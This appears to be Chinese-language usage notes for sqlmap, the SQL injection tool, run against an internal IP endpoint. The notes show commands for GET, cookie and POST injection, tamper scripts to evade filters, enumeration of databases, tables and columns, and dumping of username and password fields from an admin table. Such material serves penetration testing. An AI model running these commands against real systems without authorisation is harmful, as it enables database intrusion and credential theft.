1、clone sqlmap项目
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
chmod a+x sqlmap.py
# 使用帮助
./sqlmap.py sqlmap.py -h
./sqlmap.py -hh
2、使用
# 声明变量
INJECT_URL="http://10.0.209.147/microservice/standardquery/project/t_proj_type_showall"
INJECT_PARAMETERS="transjsonarray=1&xxx=1"
INJECT_URL_GET="${INJECT_URL}?${INJECT_PARAMETERS}"
-v 参数
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
- 0 只显示python错误以及严重的信息。
- 1 同时显示基本信息和警告信息。(默认)
- 2 同时显示debug信息。
- 3 同时显示注入的payload。
- 4 同时显示HTTP请求。
- 5 同时显示HTTP响应头。
- 6 同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
默认使用level 1检测全部数据库类型
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--threads 10 \
-o \
--batch \
-v 0
指定数据库类型为mysql,级别为3 (共5级,级别越高,检测越全面)
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10
当程序有防get注入的时候,可以使用cookie注入 (只有level达到2才会检测cookie)
./sqlmap.py -u "${INJECT_URL}" \
--cookie "${INJECT_PARAMETERS}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10
当程序有防get注入的时候,可以使用post注入
./sqlmap.py -u "${INJECT_URL}" \
--data "${INJECT_PARAMETERS}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10 \
--tamper tomyjson.py
如果注入点使用了"加密",则可以使用 --tamper 指定"插件名称", 例如: charencode.py , base64encode.py 等, 对payload进行处理(这里的payload好像是指整个url字符串,而且不知道post方式如何使用)
./sqlmap.py -u "${INJECT_URL}" --tamper base64encode.py
2.1 注入成功后 获取数据库基本信息
查询有哪些数据库
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
--dbs
查询test数据库中有哪些表
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test --tables
查询test数据库中admin表有哪些字段
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test -T admin --columns
dump出字段username与password中的数据
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test -T admin -C "username,password" --dump